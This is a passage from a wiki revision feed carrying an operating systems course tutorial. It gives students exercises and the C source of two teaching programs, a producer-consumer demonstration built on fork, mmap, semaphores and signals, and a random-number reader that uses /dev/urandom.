        } else {&lt;br /&gt;
                /* consumer */&lt;br /&gt;
                s-&amp;gt;con_pid = getpid();&lt;br /&gt;
                consumer(s, count, con_interval);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        /* This line should never be reached */&lt;br /&gt;
        return -1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===3000random.c===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* 3000random.c */&lt;br /&gt;
/* prints out random numbers obtained from system /dev/urandom */&lt;br /&gt;
/* (This is much, much better than using rand() or random())! */&lt;br /&gt;
/* v1 Oct. 15, 2017 */&lt;br /&gt;
/* Licenced under the GPLv3, copyright Anil Somayaji */&lt;br /&gt;
/* You really shouldn&#039;t be incorporating parts of this in any other code,&lt;br /&gt;
   it is meant for teaching, not production */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define BUFSIZE 1024&lt;br /&gt;
&lt;br /&gt;
typedef struct rand_state {&lt;br /&gt;
        unsigned long buffer[BUFSIZE];&lt;br /&gt;
        int current;&lt;br /&gt;
        int fd;&lt;br /&gt;
} rand_state;&lt;br /&gt;
&lt;br /&gt;
void fill_rand_buffer(rand_state *r)&lt;br /&gt;
{&lt;br /&gt;
        ssize_t count;&lt;br /&gt;
&lt;br /&gt;
        count = read(r-&amp;gt;fd, (void *) &amp;amp;r-&amp;gt;buffer,&lt;br /&gt;
                     BUFSIZE * sizeof(unsigned long));&lt;br /&gt;
&lt;br /&gt;
        if (count &amp;gt; sizeof(unsigned long)) {&lt;br /&gt;
                r-&amp;gt;current = (count / sizeof(unsigned long)) - 1;&lt;br /&gt;
                /* was %, that was wrong! */&lt;br /&gt;
                /* left out -1, that was wrong! */&lt;br /&gt;
        } else {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Couldn&#039;t fill random buffer.\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void system_rand_init(rand_state *r)&lt;br /&gt;
{&lt;br /&gt;
        r-&amp;gt;fd = open(&amp;quot;/dev/urandom&amp;quot;, O_RDONLY);&lt;br /&gt;
&lt;br /&gt;
        fill_rand_buffer(r);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
long system_rand(long max, rand_state *r)&lt;br /&gt;
{        &lt;br /&gt;
        unsigned long val;&lt;br /&gt;
&lt;br /&gt;
        if (r-&amp;gt;current &amp;lt; 0) {&lt;br /&gt;
                fill_rand_buffer(r);                &lt;br /&gt;
                if (r-&amp;gt;current &amp;lt; 0) {&lt;br /&gt;
                        /* fill_rand_buffer should have already&lt;br /&gt;
                           reported an error */&lt;br /&gt;
                        return 0;&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        val = r-&amp;gt;buffer[r-&amp;gt;current];&lt;br /&gt;
        r-&amp;gt;current--;&lt;br /&gt;
        return val % max;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
        int count, i;&lt;br /&gt;
        long max, x;&lt;br /&gt;
        rand_state r;&lt;br /&gt;
&lt;br /&gt;
        if (argc != 3) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Usage: %s &amp;lt;count&amp;gt; &amp;lt;max&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
                exit(-1);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        count = atoi(argv[1]);&lt;br /&gt;
        max = atol(argv[2]);&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;count = %d, max = %ld\n&amp;quot;, count, max);&lt;br /&gt;
        &lt;br /&gt;
        system_rand_init(&amp;amp;r);&lt;br /&gt;
        &lt;br /&gt;
        for (i = 0; i &amp;lt; count; i++) {&lt;br /&gt;
                x = system_rand(max, &amp;amp;r);&lt;br /&gt;
                printf(&amp;quot;%ld\n&amp;quot;, x);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_4&amp;diff=21779</id>
		<title>Operating Systems 2018F: Tutorial 4</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_4&amp;diff=21779"/>
		<updated>2018-10-01T21:35:01Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tasks/Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In this tutorial you will be experimenting with and extending [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut4/3000pc.c 3000pc.c] and [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut4/3000random.c 3000random.c] (both listed below).&lt;br /&gt;
&lt;br /&gt;
==Key Concepts==&lt;br /&gt;
&lt;br /&gt;
3000pc is a simple implementation of the [https://en.wikipedia.org/wiki/Producer%E2%80%93consumer_problem producer-consumer problem] in which two processes coordinate their behavior.&lt;br /&gt;
&lt;br /&gt;
In producer-consumer, the two processes share a buffer.  One process &amp;quot;produces&amp;quot; - places things inside the buffer.  The other process &amp;quot;consumes&amp;quot; - takes things out of the buffer.  [https://en.wikipedia.org/wiki/Pipeline_%28Unix%29 UNIX pipes] are a classic implementation of producer-consumer.&lt;br /&gt;
&lt;br /&gt;
In 3000pc, the producer process (the parent process) adds random words to a shared buffer while the consumer (the child process) removes them and prints out the words that it has received.  Note that normally a parent and child process cannot communicate with shared memory; however, here they can because of how the buffer is allocated.  To prevent the contents of the buffer from being corrupted, &#039;&#039;locks&#039;&#039; are used to enforce &#039;&#039;mutual exclusion&#039;&#039;.  If there is nothing for the producer to do (no room in the buffer to add words), it goes to sleep; similarly, the consumer goes to sleep if there are no words for it to consume.  If either process goes to sleep, the other must wake it up.  &lt;br /&gt;
&lt;br /&gt;
3000pc uses the C standard&#039;s way for generating pseudo-random numbers.  This method is fast but not very good.  The Linux kernel, however, has a built-in high quality random number generator.  3000random.c is a demonstration for how to use it.&lt;br /&gt;
&lt;br /&gt;
You will notice that there are a number of concepts here that we have not yet discussed in class.  This is by design.  Play with the code and see what it does.  You should be able to understand most of it once you study it, as it just uses fork, mmap, and signals.  We will discuss the higher level concepts (synchronization, locking, producer-consumer) and lower level mechanisms (character devices, /dev/urandom, semaphores) in depth in lecture later this week.&lt;br /&gt;
&lt;br /&gt;
==Tasks/Questions==&lt;br /&gt;
&lt;br /&gt;
For &#039;&#039;&#039;Questions 3-8&#039;&#039;&#039; make sure you undo your changes before moving onto the next question.&lt;br /&gt;
&lt;br /&gt;
# Compile and run 3000pc.c.  Note that you&#039;ll need to add a &amp;quot;-pthread&amp;quot; option to your compile command.  First run it with a -1 for both delay intervals, then try other values.  When does the producer signal the consumer?  When does the consumer signal the producer?&lt;br /&gt;
# How can you output the random words to a file so that you only see the signal messages on the console?&lt;br /&gt;
# Modify the producer so that it never unlocks each entry (but does lock it).  What happens?&lt;br /&gt;
# Modify the consumer so that it never unlocks each entry (but does lock it).  What happens?&lt;br /&gt;
# What happens if you remove all entry locking/unlocking?  How does the behavior change?&lt;br /&gt;
# Remove the SIGUSR1 signal handler from the producer (so it uses the C library default signal handler).  How does the program behave?&lt;br /&gt;
# Remove the SIGUSR1 signal handler from the consumer (so it uses the C library default signal handler).  How does the program behave?&lt;br /&gt;
# Change the producer and consumer so they only sleep for 1000 nanoseconds (1 millisecond) rather than 1 second during each delay interval.  How does the behavior of the program change?&lt;br /&gt;
# Compile and run 3000random.c.  Note that it takes two arguments.  Where does this program get its random numbers from?&lt;br /&gt;
# Change 3000random.c to use /dev/random rather than /dev/urandom.  How does its performance change, especially when generating a large number of random numbers?&lt;br /&gt;
# Change 3000pc.c to use random numbers from /dev/urandom rather than using the standard library function random().  How does this change affect the relative speed of the producer and consumer processes?&lt;br /&gt;
# &#039;&#039;&#039;(Bonus)&#039;&#039;&#039; Modify 3000pc.c so it takes in an additional command line argument that is the filename of a word list.  This file should have one word per line.  The program should then use this read-in word list rather than the hard coded word list.  Pay attention to:&lt;br /&gt;
#* where you read the file (in the producer, consumer, or before the fork)&lt;br /&gt;
#* where and how you store the words in memory (the word list should be arbitrarily long, but the maximum length of a word can be fixed)&lt;br /&gt;
# &#039;&#039;&#039;(Bonus)&#039;&#039;&#039; Modify 3000pc.c so that it has multiple producers and consumers running concurrently, with the number of each specified on the command line.&lt;br /&gt;
&lt;br /&gt;
==Code==&lt;br /&gt;
&lt;br /&gt;
===3000pc.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* 3000pc.c */&lt;br /&gt;
/* producer-consumer example using signals, processes and mmap */&lt;br /&gt;
/* v1 Oct. 15, 2017 */&lt;br /&gt;
/* Licenced under the GPLv3, copyright Anil Somayaji */&lt;br /&gt;
/* You really shouldn&#039;t be incorporating parts of this in any other code,&lt;br /&gt;
   it is meant for teaching, not production */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;semaphore.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define QUEUESIZE 32&lt;br /&gt;
#define WORDSIZE 16&lt;br /&gt;
&lt;br /&gt;
const int wordlist_size = 27;&lt;br /&gt;
const char *wordlist[] = {&lt;br /&gt;
        &amp;quot;Alpha&amp;quot;,&lt;br /&gt;
        &amp;quot;Bravo&amp;quot;,&lt;br /&gt;
        &amp;quot;Charlie&amp;quot;,&lt;br /&gt;
        &amp;quot;Delta&amp;quot;,&lt;br /&gt;
        &amp;quot;Echo&amp;quot;,&lt;br /&gt;
        &amp;quot;Foxtrot&amp;quot;,&lt;br /&gt;
        &amp;quot;Golf&amp;quot;,&lt;br /&gt;
        &amp;quot;Hotel&amp;quot;,&lt;br /&gt;
        &amp;quot;India&amp;quot;,&lt;br /&gt;
        &amp;quot;Juliet&amp;quot;,&lt;br /&gt;
        &amp;quot;Kilo&amp;quot;,&lt;br /&gt;
        &amp;quot;Lima&amp;quot;,&lt;br /&gt;
        &amp;quot;Mike&amp;quot;,&lt;br /&gt;
        &amp;quot;November&amp;quot;,&lt;br /&gt;
        &amp;quot;Oscar&amp;quot;,&lt;br /&gt;
        &amp;quot;Papa&amp;quot;,&lt;br /&gt;
        &amp;quot;Quebec&amp;quot;,&lt;br /&gt;
        &amp;quot;Romeo&amp;quot;,&lt;br /&gt;
        &amp;quot;Sierra&amp;quot;,&lt;br /&gt;
        &amp;quot;Tango&amp;quot;,&lt;br /&gt;
        &amp;quot;Uniform&amp;quot;,&lt;br /&gt;
        &amp;quot;Victor&amp;quot;,&lt;br /&gt;
        &amp;quot;Whiskey&amp;quot;,&lt;br /&gt;
        &amp;quot;X-ray&amp;quot;,&lt;br /&gt;
        &amp;quot;Yankee&amp;quot;,&lt;br /&gt;
        &amp;quot;Zulu&amp;quot;,&lt;br /&gt;
        &amp;quot;Dash&amp;quot;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
typedef struct entry {&lt;br /&gt;
        char word[WORDSIZE];&lt;br /&gt;
        sem_t lock;&lt;br /&gt;
} entry;&lt;br /&gt;
&lt;br /&gt;
typedef struct shared {&lt;br /&gt;
        int prod_waiting;&lt;br /&gt;
        int con_waiting;&lt;br /&gt;
        entry queue[QUEUESIZE];&lt;br /&gt;
        int last_produced;&lt;br /&gt;
        int last_consumed;&lt;br /&gt;
        pid_t prod_pid;&lt;br /&gt;
        pid_t con_pid;&lt;br /&gt;
        int prod_count;&lt;br /&gt;
        int con_count;&lt;br /&gt;
} shared;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void report_error(char *error)&lt;br /&gt;
{&lt;br /&gt;
        fprintf(stderr, &amp;quot;Error: %s\n&amp;quot;, error);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void usage_exit(char *progname)&lt;br /&gt;
{&lt;br /&gt;
        fprintf(stderr,&lt;br /&gt;
                &amp;quot;Usage: %s &amp;lt;event count&amp;gt; &amp;lt;prod delay int&amp;gt; &amp;lt;con delay int&amp;gt;\n&amp;quot;,&lt;br /&gt;
                progname);&lt;br /&gt;
        exit(-1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void producer_handler(int the_signal)&lt;br /&gt;
{&lt;br /&gt;
        if (the_signal == SIGUSR1) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Producer received SIGUSR1.\n&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
&lt;br /&gt;
        } else {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Producer: No handler for for signal %d?!\n&amp;quot;,&lt;br /&gt;
                        the_signal);&lt;br /&gt;
                return;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void consumer_handler(int the_signal)&lt;br /&gt;
{&lt;br /&gt;
        if (the_signal == SIGUSR1) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Consumer received SIGUSR1.\n&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
        } else {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Consumer: No handler for for signal %d?!\n&amp;quot;,&lt;br /&gt;
                        the_signal);&lt;br /&gt;
                return;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void pick_word(char *word)&lt;br /&gt;
{&lt;br /&gt;
        int pick;&lt;br /&gt;
&lt;br /&gt;
        pick = random() % wordlist_size;&lt;br /&gt;
&lt;br /&gt;
        strcpy(word, wordlist[pick]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wait_for_producer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        struct timespec delay;&lt;br /&gt;
        &lt;br /&gt;
        delay.tv_sec = 100;&lt;br /&gt;
        delay.tv_nsec = 0;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;con_waiting = 1;&lt;br /&gt;
        &lt;br /&gt;
        while (s-&amp;gt;con_waiting) {&lt;br /&gt;
                nanosleep(&amp;amp;delay, NULL);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wait_for_consumer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        struct timespec delay;&lt;br /&gt;
        &lt;br /&gt;
        delay.tv_sec = 100;&lt;br /&gt;
        delay.tv_nsec = 0;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;prod_waiting = 1;&lt;br /&gt;
        &lt;br /&gt;
        while (s-&amp;gt;prod_waiting) {&lt;br /&gt;
                nanosleep(&amp;amp;delay, NULL);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wakeup_consumer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        if (s-&amp;gt;con_waiting) {&lt;br /&gt;
                s-&amp;gt;con_waiting = 0;&lt;br /&gt;
                kill(s-&amp;gt;con_pid, SIGUSR1);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wakeup_producer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        if (s-&amp;gt;prod_waiting) {&lt;br /&gt;
                s-&amp;gt;prod_waiting = 0;&lt;br /&gt;
                kill(s-&amp;gt;prod_pid, SIGUSR1);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void output_word(int c, char *w)&lt;br /&gt;
{&lt;br /&gt;
        printf(&amp;quot;Word %d: %s\n&amp;quot;, c, w);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int queue_word(char *word, shared *s)&lt;br /&gt;
{&lt;br /&gt;
        entry *e;&lt;br /&gt;
        int current, retval;&lt;br /&gt;
        &lt;br /&gt;
        current = (s-&amp;gt;last_produced + 1) % QUEUESIZE;&lt;br /&gt;
&lt;br /&gt;
        e = &amp;amp;s-&amp;gt;queue[current];&lt;br /&gt;
&lt;br /&gt;
        sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] != &#039;\0&#039;) {&lt;br /&gt;
                /* consumer hasn&#039;t consumed this entry yet */&lt;br /&gt;
                sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
                wait_for_consumer(s);&lt;br /&gt;
                sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] != &#039;\0&#039;) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;ERROR: No room for producer after waiting!\n&amp;quot;);&lt;br /&gt;
                retval = -1;&lt;br /&gt;
                goto done;&lt;br /&gt;
        } else {&lt;br /&gt;
                strncpy(e-&amp;gt;word, word, WORDSIZE);&lt;br /&gt;
                s-&amp;gt;last_produced = current;&lt;br /&gt;
                s-&amp;gt;prod_count++;&lt;br /&gt;
                wakeup_consumer(s);&lt;br /&gt;
                retval = 0;&lt;br /&gt;
                goto done;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
 done:&lt;br /&gt;
        sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        return retval;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int get_next_word(char *word, shared *s)&lt;br /&gt;
{&lt;br /&gt;
        entry *e;&lt;br /&gt;
        int current, retval;&lt;br /&gt;
&lt;br /&gt;
        current = (s-&amp;gt;last_consumed + 1) % QUEUESIZE;&lt;br /&gt;
&lt;br /&gt;
        e = &amp;amp;s-&amp;gt;queue[current];&lt;br /&gt;
        &lt;br /&gt;
        sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] == &#039;\0&#039;) {&lt;br /&gt;
                /* producer hasn&#039;t filled in this entry yet */&lt;br /&gt;
                sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
                wait_for_producer(s);&lt;br /&gt;
                sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] == &#039;\0&#039;) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;ERROR: Nothing for consumer after waiting!\n&amp;quot;);&lt;br /&gt;
                retval = -1;&lt;br /&gt;
                goto done;&lt;br /&gt;
        } else {&lt;br /&gt;
                strncpy(word, e-&amp;gt;word, WORDSIZE);&lt;br /&gt;
                e-&amp;gt;word[0] = &#039;\0&#039;;&lt;br /&gt;
                s-&amp;gt;last_consumed = current;&lt;br /&gt;
                s-&amp;gt;con_count++;&lt;br /&gt;
                wakeup_producer(s);&lt;br /&gt;
                retval = 0;&lt;br /&gt;
                goto done;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
 done:&lt;br /&gt;
        sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        return retval;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void producer(shared *s, int event_count, int producer_delay_interval)&lt;br /&gt;
{&lt;br /&gt;
        char word[WORDSIZE];&lt;br /&gt;
        int i;&lt;br /&gt;
        struct sigaction signal_handler_struct;&lt;br /&gt;
 &lt;br /&gt;
        memset (&amp;amp;signal_handler_struct, 0, sizeof(signal_handler_struct));&lt;br /&gt;
        signal_handler_struct.sa_handler = producer_handler;&lt;br /&gt;
&lt;br /&gt;
        if (sigaction(SIGUSR1, &amp;amp;signal_handler_struct, NULL)) {&lt;br /&gt;
            fprintf(stderr, &amp;quot;Producer couldn&#039;t register SIGUSR1 handler.\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        for (i=0; i &amp;lt; event_count; i++) {        &lt;br /&gt;
                pick_word(word);&lt;br /&gt;
                queue_word(word, s);&lt;br /&gt;
                if (producer_delay_interval &amp;gt; 0) {&lt;br /&gt;
                        if (i % producer_delay_interval == 0) {&lt;br /&gt;
                                sleep(1);&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;Producer finished.\n&amp;quot;);&lt;br /&gt;
        exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void consumer(shared *s, int event_count, int consumer_delay_interval)&lt;br /&gt;
{&lt;br /&gt;
        char word[WORDSIZE];&lt;br /&gt;
        int i;&lt;br /&gt;
        struct sigaction signal_handler_struct;&lt;br /&gt;
 &lt;br /&gt;
        memset (&amp;amp;signal_handler_struct, 0, sizeof(signal_handler_struct));&lt;br /&gt;
        signal_handler_struct.sa_handler = consumer_handler;&lt;br /&gt;
&lt;br /&gt;
        if (sigaction(SIGUSR1, &amp;amp;signal_handler_struct, NULL)) {&lt;br /&gt;
            fprintf(stderr, &amp;quot;Consumer couldn&#039;t register SIGUSR1 handler.\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        for (i=0; i &amp;lt; event_count; i++) {        &lt;br /&gt;
                get_next_word(word, s);&lt;br /&gt;
                output_word(s-&amp;gt;con_count, word);&lt;br /&gt;
                if (consumer_delay_interval &amp;gt; 0) {&lt;br /&gt;
                        if (i % consumer_delay_interval == 0) {&lt;br /&gt;
                                sleep(1);&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;Consumer finished.\n&amp;quot;);&lt;br /&gt;
        exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void init_shared(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        int i;&lt;br /&gt;
        &lt;br /&gt;
        s-&amp;gt;con_waiting = 0;&lt;br /&gt;
        s-&amp;gt;last_consumed = -1;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;prod_waiting = 0;&lt;br /&gt;
        s-&amp;gt;last_produced = -1;&lt;br /&gt;
        &lt;br /&gt;
        s-&amp;gt;prod_pid = -1;&lt;br /&gt;
        s-&amp;gt;con_pid = -1;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;prod_count = 0;&lt;br /&gt;
        s-&amp;gt;con_count = 0;&lt;br /&gt;
                &lt;br /&gt;
        for (i=0; i&amp;lt;QUEUESIZE; i++) {&lt;br /&gt;
                s-&amp;gt;queue[i].word[0] = &#039;\0&#039;;&lt;br /&gt;
                /* semaphore is shared between processes,&lt;br /&gt;
                   and initial value is 1 (unlocked) */&lt;br /&gt;
                sem_init(&amp;amp;s-&amp;gt;queue[i].lock, 1, 1); &lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
        int pid, count, prod_interval, con_interval;&lt;br /&gt;
        &lt;br /&gt;
        shared *s;&lt;br /&gt;
&lt;br /&gt;
        srandom(42);&lt;br /&gt;
        &lt;br /&gt;
        if (argc &amp;lt; 4) {&lt;br /&gt;
                if (argc &amp;lt; 1) {&lt;br /&gt;
                        report_error(&amp;quot;no command line&amp;quot;);&lt;br /&gt;
                        usage_exit(argv[0]);&lt;br /&gt;
                } else {&lt;br /&gt;
                        report_error(&amp;quot;Not enough arguments&amp;quot;);&lt;br /&gt;
                        usage_exit(argv[0]);&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        count = atoi(argv[1]);&lt;br /&gt;
        prod_interval = atoi(argv[2]);&lt;br /&gt;
        con_interval = atoi(argv[3]);&lt;br /&gt;
&lt;br /&gt;
        s = (shared *) mmap(NULL, sizeof(shared),&lt;br /&gt;
                             PROT_READ|PROT_WRITE,&lt;br /&gt;
                             MAP_SHARED|MAP_ANONYMOUS, -1, 0);&lt;br /&gt;
        &lt;br /&gt;
        if (s == MAP_FAILED) {&lt;br /&gt;
                report_error(strerror(errno));&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        init_shared(s);&lt;br /&gt;
        &lt;br /&gt;
        pid = fork();&lt;br /&gt;
&lt;br /&gt;
        if (pid) {&lt;br /&gt;
                /* producer */&lt;br /&gt;
                s-&amp;gt;prod_pid = getpid();&lt;br /&gt;
                producer(s, count, prod_interval);&lt;br /&gt;
        } else {&lt;br /&gt;
                /* consumer */&lt;br /&gt;
                s-&amp;gt;con_pid = getpid();&lt;br /&gt;
                consumer(s, count, con_interval);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        /* This line should never be reached */&lt;br /&gt;
        return -1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===3000random.c===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* 3000random.c */&lt;br /&gt;
/* prints out random numbers obtained from system /dev/urandom */&lt;br /&gt;
/* (This is much, much better than using rand() or random())! */&lt;br /&gt;
/* v1 Oct. 15, 2017 */&lt;br /&gt;
/* Licenced under the GPLv3, copyright Anil Somayaji */&lt;br /&gt;
/* You really shouldn&#039;t be incorporating parts of this in any other code,&lt;br /&gt;
   it is meant for teaching, not production */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define BUFSIZE 1024&lt;br /&gt;
&lt;br /&gt;
typedef struct rand_state {&lt;br /&gt;
        unsigned long buffer[BUFSIZE];&lt;br /&gt;
        int current;&lt;br /&gt;
        int fd;&lt;br /&gt;
} rand_state;&lt;br /&gt;
&lt;br /&gt;
void fill_rand_buffer(rand_state *r)&lt;br /&gt;
{&lt;br /&gt;
        ssize_t count;&lt;br /&gt;
&lt;br /&gt;
        count = read(r-&amp;gt;fd, (void *) &amp;amp;r-&amp;gt;buffer,&lt;br /&gt;
                     BUFSIZE * sizeof(unsigned long));&lt;br /&gt;
&lt;br /&gt;
        if (count &amp;gt; sizeof(unsigned long)) {&lt;br /&gt;
                r-&amp;gt;current = (count / sizeof(unsigned long)) - 1;&lt;br /&gt;
                /* was %, that was wrong! */&lt;br /&gt;
                /* left out -1, that was wrong! */&lt;br /&gt;
        } else {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Couldn&#039;t fill random buffer.\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void system_rand_init(rand_state *r)&lt;br /&gt;
{&lt;br /&gt;
        r-&amp;gt;fd = open(&amp;quot;/dev/urandom&amp;quot;, O_RDONLY);&lt;br /&gt;
&lt;br /&gt;
        fill_rand_buffer(r);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
long system_rand(long max, rand_state *r)&lt;br /&gt;
{        &lt;br /&gt;
        unsigned long val;&lt;br /&gt;
&lt;br /&gt;
        if (r-&amp;gt;current &amp;lt; 0) {&lt;br /&gt;
                fill_rand_buffer(r);                &lt;br /&gt;
                if (r-&amp;gt;current &amp;lt; 0) {&lt;br /&gt;
                        /* fill_rand_buffer should have already&lt;br /&gt;
                           reported an error */&lt;br /&gt;
                        return 0;&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        val = r-&amp;gt;buffer[r-&amp;gt;current];&lt;br /&gt;
        r-&amp;gt;current--;&lt;br /&gt;
        return val % max;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
        int count, i;&lt;br /&gt;
        long max, x;&lt;br /&gt;
        rand_state r;&lt;br /&gt;
&lt;br /&gt;
        if (argc != 3) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Usage: %s &amp;lt;count&amp;gt; &amp;lt;max&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
                exit(-1);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        count = atoi(argv[1]);&lt;br /&gt;
        max = atol(argv[2]);&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;count = %d, max = %ld\n&amp;quot;, count, max);&lt;br /&gt;
        &lt;br /&gt;
        system_rand_init(&amp;amp;r);&lt;br /&gt;
        &lt;br /&gt;
        for (i = 0; i &amp;lt; count; i++) {&lt;br /&gt;
                x = system_rand(max, &amp;amp;r);&lt;br /&gt;
                printf(&amp;quot;%ld\n&amp;quot;, x);&lt;br /&gt;
        }&lt;br /&gt;
